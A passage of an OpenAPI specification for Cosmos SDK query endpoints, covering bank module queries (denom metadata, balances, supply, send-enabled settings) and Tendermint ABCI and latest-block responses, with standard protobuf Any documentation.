| was set, its value is undefined otherwise | |
| description: >- | |
| QueryDenomOwnersResponse defines the RPC response of a DenomOwners | |
| RPC query. | |
| Since: cosmos-sdk 0.46 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: denom | |
| description: >- | |
| denom defines the coin denomination to query all account holders | |
| for. | |
| in: path | |
| required: true | |
| type: string | |
| - name: pagination.key | |
| description: |- | |
| key is a value returned in PageResponse.next_key to begin | |
| querying the next page most efficiently. Only one of offset or key | |
| should be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: byte | |
| - name: pagination.offset | |
| description: >- | |
| offset is a numeric offset that can be used when key is unavailable. | |
| It is less efficient than using key. Only one of offset or key | |
| should | |
| be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.limit | |
| description: >- | |
| limit is the total number of results to be returned in the result | |
| page. | |
| If left empty it will default to a value to be set by each app. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.count_total | |
| description: >- | |
| count_total is set to true to indicate that the result set should | |
| include | |
| a count of the total number of items available for pagination in | |
| UIs. | |
| count_total is only respected when offset is used. It is ignored | |
| when key | |
| is set. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: pagination.reverse | |
| description: >- | |
| reverse is set to true if results are to be returned in the | |
| descending order. | |
| Since: cosmos-sdk 0.43 | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /cosmos/bank/v1beta1/denoms_metadata: | |
| get: | |
| summary: |- | |
| DenomsMetadata queries the client metadata for all registered coin | |
| denominations. | |
| operationId: DenomsMetadata | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| metadatas: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| description: | |
| type: string | |
| denom_units: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| description: >- | |
| denom represents the string name of the given | |
| denom unit (e.g uatom). | |
| exponent: | |
| type: integer | |
| format: int64 | |
| description: >- | |
| exponent represents power of 10 exponent that one | |
| must | |
| raise the base_denom to in order to equal the | |
| given DenomUnit's denom | |
| 1 denom = 10^exponent base_denom | |
| (e.g. with a base_denom of uatom, one can create a | |
| DenomUnit of 'atom' with | |
| exponent = 6, thus: 1 atom = 10^6 uatom). | |
| aliases: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| aliases is a list of string aliases for the given | |
| denom | |
| description: |- | |
| DenomUnit represents a struct that describes a given | |
| denomination unit of the basic token. | |
| title: >- | |
| denom_units represents the list of DenomUnit's for a | |
| given coin | |
| base: | |
| type: string | |
| description: >- | |
| base represents the base denom (should be the DenomUnit | |
| with exponent = 0). | |
| display: | |
| type: string | |
| description: |- | |
| display indicates the suggested denom that should be | |
| displayed in clients. | |
| name: | |
| type: string | |
| description: 'Since: cosmos-sdk 0.43' | |
| title: 'name defines the name of the token (eg: Cosmos Atom)' | |
| symbol: | |
| type: string | |
| description: >- | |
| symbol is the token symbol usually shown on exchanges | |
| (eg: ATOM). This can | |
| be the same as the display. | |
| Since: cosmos-sdk 0.43 | |
| uri: | |
| type: string | |
| description: >- | |
| URI to a document (on or off-chain) that contains | |
| additional information. Optional. | |
| Since: cosmos-sdk 0.46 | |
| uri_hash: | |
| type: string | |
| description: >- | |
| URIHash is a sha256 hash of a document pointed by URI. | |
| It's used to verify that | |
| the document didn't change. Optional. | |
| Since: cosmos-sdk 0.46 | |
| description: |- | |
| Metadata represents a struct that describes | |
| a basic token. | |
| description: >- | |
| metadata provides the client information for all the | |
| registered tokens. | |
| pagination: | |
| description: pagination defines the pagination in the response. | |
| type: object | |
| properties: | |
| next_key: | |
| type: string | |
| format: byte | |
| description: |- | |
| next_key is the key to be passed to PageRequest.key to | |
| query the next page most efficiently. It will be empty if | |
| there are no more results. | |
| total: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| total is total number of results available if | |
| PageRequest.count_total | |
| was set, its value is undefined otherwise | |
| description: >- | |
| QueryDenomsMetadataResponse is the response type for the | |
| Query/DenomsMetadata RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: pagination.key | |
| description: |- | |
| key is a value returned in PageResponse.next_key to begin | |
| querying the next page most efficiently. Only one of offset or key | |
| should be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: byte | |
| - name: pagination.offset | |
| description: >- | |
| offset is a numeric offset that can be used when key is unavailable. | |
| It is less efficient than using key. Only one of offset or key | |
| should | |
| be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.limit | |
| description: >- | |
| limit is the total number of results to be returned in the result | |
| page. | |
| If left empty it will default to a value to be set by each app. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.count_total | |
| description: >- | |
| count_total is set to true to indicate that the result set should | |
| include | |
| a count of the total number of items available for pagination in | |
| UIs. | |
| count_total is only respected when offset is used. It is ignored | |
| when key | |
| is set. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: pagination.reverse | |
| description: >- | |
| reverse is set to true if results are to be returned in the | |
| descending order. | |
| Since: cosmos-sdk 0.43 | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /cosmos/bank/v1beta1/denoms_metadata/{denom}: | |
| get: | |
| summary: DenomsMetadata queries the client metadata of a given coin denomination. | |
| operationId: DenomMetadata | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| metadata: | |
| type: object | |
| properties: | |
| description: | |
| type: string | |
| denom_units: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| description: >- | |
| denom represents the string name of the given denom | |
| unit (e.g uatom). | |
| exponent: | |
| type: integer | |
| format: int64 | |
| description: >- | |
| exponent represents power of 10 exponent that one | |
| must | |
| raise the base_denom to in order to equal the given | |
| DenomUnit's denom | |
| 1 denom = 10^exponent base_denom | |
| (e.g. with a base_denom of uatom, one can create a | |
| DenomUnit of 'atom' with | |
| exponent = 6, thus: 1 atom = 10^6 uatom). | |
| aliases: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| aliases is a list of string aliases for the given | |
| denom | |
| description: |- | |
| DenomUnit represents a struct that describes a given | |
| denomination unit of the basic token. | |
| title: >- | |
| denom_units represents the list of DenomUnit's for a given | |
| coin | |
| base: | |
| type: string | |
| description: >- | |
| base represents the base denom (should be the DenomUnit | |
| with exponent = 0). | |
| display: | |
| type: string | |
| description: |- | |
| display indicates the suggested denom that should be | |
| displayed in clients. | |
| name: | |
| type: string | |
| description: 'Since: cosmos-sdk 0.43' | |
| title: 'name defines the name of the token (eg: Cosmos Atom)' | |
| symbol: | |
| type: string | |
| description: >- | |
| symbol is the token symbol usually shown on exchanges (eg: | |
| ATOM). This can | |
| be the same as the display. | |
| Since: cosmos-sdk 0.43 | |
| uri: | |
| type: string | |
| description: >- | |
| URI to a document (on or off-chain) that contains | |
| additional information. Optional. | |
| Since: cosmos-sdk 0.46 | |
| uri_hash: | |
| type: string | |
| description: >- | |
| URIHash is a sha256 hash of a document pointed by URI. | |
| It's used to verify that | |
| the document didn't change. Optional. | |
| Since: cosmos-sdk 0.46 | |
| description: |- | |
| Metadata represents a struct that describes | |
| a basic token. | |
| description: >- | |
| QueryDenomMetadataResponse is the response type for the | |
| Query/DenomMetadata RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: denom | |
| description: denom is the coin denom to query the metadata for. | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /cosmos/bank/v1beta1/params: | |
| get: | |
| summary: Params queries the parameters of x/bank module. | |
| operationId: BankParams | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| params: | |
| type: object | |
| properties: | |
| send_enabled: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| enabled: | |
| type: boolean | |
| description: >- | |
| SendEnabled maps coin denom to a send_enabled status | |
| (whether a denom is | |
| sendable). | |
| description: >- | |
| Deprecated: Use of SendEnabled in params is deprecated. | |
| For genesis, use the newly added send_enabled field in the | |
| genesis object. | |
| Storage, lookup, and manipulation of this information is | |
| now in the keeper. | |
| As of cosmos-sdk 0.47, this only exists for backwards | |
| compatibility of genesis files. | |
| default_send_enabled: | |
| type: boolean | |
| description: Params defines the parameters for the bank module. | |
| description: >- | |
| QueryParamsResponse defines the response type for querying x/bank | |
| parameters. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /cosmos/bank/v1beta1/send_enabled: | |
| get: | |
| summary: SendEnabled queries for SendEnabled entries. | |
| description: >- | |
| This query only returns denominations that have specific SendEnabled | |
| settings. | |
| Any denomination that does not have a specific setting will use the | |
| default | |
| params.default_send_enabled, and will not be returned by this query. | |
| Since: cosmos-sdk 0.47 | |
| operationId: SendEnabled | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| send_enabled: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| enabled: | |
| type: boolean | |
| description: >- | |
| SendEnabled maps coin denom to a send_enabled status | |
| (whether a denom is | |
| sendable). | |
| pagination: | |
| description: >- | |
| pagination defines the pagination in the response. This field | |
| is only | |
| populated if the denoms field in the request is empty. | |
| type: object | |
| properties: | |
| next_key: | |
| type: string | |
| format: byte | |
| description: |- | |
| next_key is the key to be passed to PageRequest.key to | |
| query the next page most efficiently. It will be empty if | |
| there are no more results. | |
| total: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| total is total number of results available if | |
| PageRequest.count_total | |
| was set, its value is undefined otherwise | |
| description: >- | |
| QuerySendEnabledResponse defines the RPC response of a SendEnable | |
| query. | |
| Since: cosmos-sdk 0.47 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: denoms | |
| description: >- | |
| denoms is the specific denoms you want look up. Leave empty to get | |
| all entries. | |
| in: query | |
| required: false | |
| type: array | |
| items: | |
| type: string | |
| collectionFormat: multi | |
| - name: pagination.key | |
| description: |- | |
| key is a value returned in PageResponse.next_key to begin | |
| querying the next page most efficiently. Only one of offset or key | |
| should be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: byte | |
| - name: pagination.offset | |
| description: >- | |
| offset is a numeric offset that can be used when key is unavailable. | |
| It is less efficient than using key. Only one of offset or key | |
| should | |
| be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.limit | |
| description: >- | |
| limit is the total number of results to be returned in the result | |
| page. | |
| If left empty it will default to a value to be set by each app. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.count_total | |
| description: >- | |
| count_total is set to true to indicate that the result set should | |
| include | |
| a count of the total number of items available for pagination in | |
| UIs. | |
| count_total is only respected when offset is used. It is ignored | |
| when key | |
| is set. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: pagination.reverse | |
| description: >- | |
| reverse is set to true if results are to be returned in the | |
| descending order. | |
| Since: cosmos-sdk 0.43 | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /cosmos/bank/v1beta1/spendable_balances/{address}: | |
| get: | |
| summary: >- | |
| SpendableBalances queries the spendable balance of all coins for a | |
| single | |
| account. | |
| description: >- | |
| When called from another module, this query might consume a high amount | |
| of | |
| gas if the pagination field is incorrectly set. | |
| Since: cosmos-sdk 0.46 | |
| operationId: SpendableBalances | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| balances: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the custom | |
| method | |
| signatures required by gogoproto. | |
| description: balances is the spendable balances of all the coins. | |
| pagination: | |
| description: pagination defines the pagination in the response. | |
| type: object | |
| properties: | |
| next_key: | |
| type: string | |
| format: byte | |
| description: |- | |
| next_key is the key to be passed to PageRequest.key to | |
| query the next page most efficiently. It will be empty if | |
| there are no more results. | |
| total: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| total is total number of results available if | |
| PageRequest.count_total | |
| was set, its value is undefined otherwise | |
| description: >- | |
| QuerySpendableBalancesResponse defines the gRPC response structure | |
| for querying | |
| an account's spendable balances. | |
| Since: cosmos-sdk 0.46 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: address | |
| description: address is the address to query spendable balances for. | |
| in: path | |
| required: true | |
| type: string | |
| - name: pagination.key | |
| description: |- | |
| key is a value returned in PageResponse.next_key to begin | |
| querying the next page most efficiently. Only one of offset or key | |
| should be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: byte | |
| - name: pagination.offset | |
| description: >- | |
| offset is a numeric offset that can be used when key is unavailable. | |
| It is less efficient than using key. Only one of offset or key | |
| should | |
| be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.limit | |
| description: >- | |
| limit is the total number of results to be returned in the result | |
| page. | |
| If left empty it will default to a value to be set by each app. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.count_total | |
| description: >- | |
| count_total is set to true to indicate that the result set should | |
| include | |
| a count of the total number of items available for pagination in | |
| UIs. | |
| count_total is only respected when offset is used. It is ignored | |
| when key | |
| is set. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: pagination.reverse | |
| description: >- | |
| reverse is set to true if results are to be returned in the | |
| descending order. | |
| Since: cosmos-sdk 0.43 | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /cosmos/bank/v1beta1/spendable_balances/{address}/by_denom: | |
| get: | |
| summary: >- | |
| SpendableBalanceByDenom queries the spendable balance of a single denom | |
| for | |
| a single account. | |
| description: >- | |
| When called from another module, this query might consume a high amount | |
| of | |
| gas if the pagination field is incorrectly set. | |
| Since: cosmos-sdk 0.47 | |
| operationId: SpendableBalanceByDenom | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| balance: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the custom | |
| method | |
| signatures required by gogoproto. | |
| description: >- | |
| QuerySpendableBalanceByDenomResponse defines the gRPC response | |
| structure for | |
| querying an account's spendable balance for a specific denom. | |
| Since: cosmos-sdk 0.47 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: address | |
| description: address is the address to query balances for. | |
| in: path | |
| required: true | |
| type: string | |
| - name: denom | |
| description: denom is the coin denom to query balances for. | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /cosmos/bank/v1beta1/supply: | |
| get: | |
| summary: TotalSupply queries the total supply of all coins. | |
| description: >- | |
| When called from another module, this query might consume a high amount | |
| of | |
| gas if the pagination field is incorrectly set. | |
| operationId: TotalSupply | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| supply: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the custom | |
| method | |
| signatures required by gogoproto. | |
| title: supply is the supply of the coins | |
| pagination: | |
| description: |- | |
| pagination defines the pagination in the response. | |
| Since: cosmos-sdk 0.43 | |
| type: object | |
| properties: | |
| next_key: | |
| type: string | |
| format: byte | |
| description: |- | |
| next_key is the key to be passed to PageRequest.key to | |
| query the next page most efficiently. It will be empty if | |
| there are no more results. | |
| total: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| total is total number of results available if | |
| PageRequest.count_total | |
| was set, its value is undefined otherwise | |
| title: >- | |
| QueryTotalSupplyResponse is the response type for the | |
| Query/TotalSupply RPC | |
| method | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: pagination.key | |
| description: |- | |
| key is a value returned in PageResponse.next_key to begin | |
| querying the next page most efficiently. Only one of offset or key | |
| should be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: byte | |
| - name: pagination.offset | |
| description: >- | |
| offset is a numeric offset that can be used when key is unavailable. | |
| It is less efficient than using key. Only one of offset or key | |
| should | |
| be set. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.limit | |
| description: >- | |
| limit is the total number of results to be returned in the result | |
| page. | |
| If left empty it will default to a value to be set by each app. | |
| in: query | |
| required: false | |
| type: string | |
| format: uint64 | |
| - name: pagination.count_total | |
| description: >- | |
| count_total is set to true to indicate that the result set should | |
| include | |
| a count of the total number of items available for pagination in | |
| UIs. | |
| count_total is only respected when offset is used. It is ignored | |
| when key | |
| is set. | |
| in: query | |
| required: false | |
| type: boolean | |
| - name: pagination.reverse | |
| description: >- | |
| reverse is set to true if results are to be returned in the | |
| descending order. | |
| Since: cosmos-sdk 0.43 | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Query | |
| /cosmos/bank/v1beta1/supply/by_denom: | |
| get: | |
| summary: SupplyOf queries the supply of a single coin. | |
| description: >- | |
| When called from another module, this query might consume a high amount | |
| of | |
| gas if the pagination field is incorrectly set. | |
| operationId: SupplyOf | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| amount: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the custom | |
| method | |
| signatures required by gogoproto. | |
| description: >- | |
| QuerySupplyOfResponse is the response type for the Query/SupplyOf | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: denom | |
| description: denom is the coin denom to query balances for. | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /cosmos/base/tendermint/v1beta1/abci_query: | |
| get: | |
| summary: >- | |
| ABCIQuery defines a query handler that supports ABCI queries directly to | |
| the | |
| application, bypassing Tendermint completely. The ABCI query must | |
| contain | |
| a valid and supported path, including app, custom, p2p, and store. | |
| description: 'Since: cosmos-sdk 0.46' | |
| operationId: ABCIQuery | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| code: | |
| type: integer | |
| format: int64 | |
| log: | |
| type: string | |
| info: | |
| type: string | |
| index: | |
| type: string | |
| format: int64 | |
| key: | |
| type: string | |
| format: byte | |
| value: | |
| type: string | |
| format: byte | |
| proof_ops: | |
| type: object | |
| properties: | |
| ops: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type: | |
| type: string | |
| key: | |
| type: string | |
| format: byte | |
| data: | |
| type: string | |
| format: byte | |
| description: >- | |
| ProofOp defines an operation used for calculating Merkle | |
| root. The data could | |
| be arbitrary format, providing necessary data for | |
| example neighbouring node | |
| hash. | |
| Note: This type is a duplicate of the ProofOp proto type | |
| defined in Tendermint. | |
| description: >- | |
| ProofOps is Merkle proof defined by the list of ProofOps. | |
| Note: This type is a duplicate of the ProofOps proto type | |
| defined in Tendermint. | |
| height: | |
| type: string | |
| format: int64 | |
| codespace: | |
| type: string | |
| description: >- | |
| ABCIQueryResponse defines the response structure for the ABCIQuery | |
| gRPC query. | |
| Note: This type is a duplicate of the ResponseQuery proto type | |
| defined in | |
| Tendermint. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: data | |
| in: query | |
| required: false | |
| type: string | |
| format: byte | |
| - name: path | |
| in: query | |
| required: false | |
| type: string | |
| - name: height | |
| in: query | |
| required: false | |
| type: string | |
| format: int64 | |
| - name: prove | |
| in: query | |
| required: false | |
| type: boolean | |
| tags: | |
| - Service | |
| /cosmos/base/tendermint/v1beta1/blocks/latest: | |
| get: | |
| summary: GetLatestBlock returns the latest block. | |
| operationId: GetLatestBlock | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| block: | |
| title: 'Deprecated: please use `sdk_block` instead' | |
| type: object | |
| properties: | |
| header: | |
| type: object | |
| properties: | |
| version: | |
| title: basic block info | |
| type: object | |
| properties: | |
| block: | |
| type: string | |
| format: uint64 | |
| app: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| Consensus captures the consensus rules for processing | |
| a block in the blockchain, | |
| including all blockchain data structures and the rules | |
| of the application's | |
| state transition machine. | |
| chain_id: | |
| type: string | |
| height: | |
| type: string | |
| format: int64 | |
| time: | |
| type: string | |
| format: date-time | |
| last_block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| last_commit_hash: | |
| type: string | |
| format: byte | |
| title: hashes of block data | |
| data_hash: | |
| type: string | |
| format: byte | |
| validators_hash: | |
| type: string | |
| format: byte | |
| title: hashes from the app output from the prev block | |
| next_validators_hash: | |
| type: string | |
| format: byte | |
| consensus_hash: | |
| type: string | |
| format: byte | |
| app_hash: | |
| type: string | |
| format: byte | |
| last_results_hash: | |
| type: string | |
| format: byte | |
| evidence_hash: | |
| type: string | |
| format: byte | |
| title: consensus info | |
| proposer_address: | |
| type: string | |
| format: byte | |
| description: Header defines the structure of a Tendermint block header. | |
| data: | |
| type: object | |
| properties: | |
| txs: | |
| type: array | |
| items: | |
| type: string | |
| format: byte | |
| description: >- | |
| Txs that will be applied by state @ block.Height+1. | |
| NOTE: not all txs here are valid. We're just agreeing | |
| on the order first. | |
| This means that block.AppHash does not include these | |
| txs. | |
| title: >- | |
| Data contains the set of transactions included in the | |
| block | |
| evidence: | |
| type: object | |
| properties: | |
| evidence: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| duplicate_vote_evidence: | |
| type: object | |
| properties: | |
| vote_a: | |
| type: object | |
| properties: | |
| type: | |
| type: string | |
| enum: | |
| - SIGNED_MSG_TYPE_UNKNOWN | |
| - SIGNED_MSG_TYPE_PREVOTE | |
| - SIGNED_MSG_TYPE_PRECOMMIT | |
| - SIGNED_MSG_TYPE_PROPOSAL | |
| default: SIGNED_MSG_TYPE_UNKNOWN | |
| description: >- | |
| SignedMsgType is a type of signed | |
| message in the consensus. | |
| - SIGNED_MSG_TYPE_PREVOTE: Votes | |
| - SIGNED_MSG_TYPE_PROPOSAL: Proposals | |
| height: | |
| type: string | |
| format: int64 | |
| round: | |
| type: integer | |
| format: int32 | |
| block_id: | |
| type: object | |
| properties: | |
| hash: | |
| type: string | |
| format: byte | |
| part_set_header: | |
| type: object | |
| properties: | |
| total: | |
| type: integer | |
| format: int64 | |
| hash: | |
| type: string | |
| format: byte | |
| title: PartsetHeader | |
| title: BlockID | |
| timestamp: | |
| type: string | |
| format: date-time | |
| validator_address: | |
| type: string | |
| format: byte | |
| validator_index: | |
| type: integer | |
| format: int32 | |
| signature: | |
| type: string | |
| format: byte | |
| description: >- | |
| Vote represents a prevote, precommit, or | |
| commit vote from validators for | |
| consensus. | |
| vote_b: | |
| type: object | |
| properties: | |
| type: | |
| type: string | |
| enum: | |
| - SIGNED_MSG_TYPE_UNKNOWN | |
| - SIGNED_MSG_TYPE_PREVOTE | |
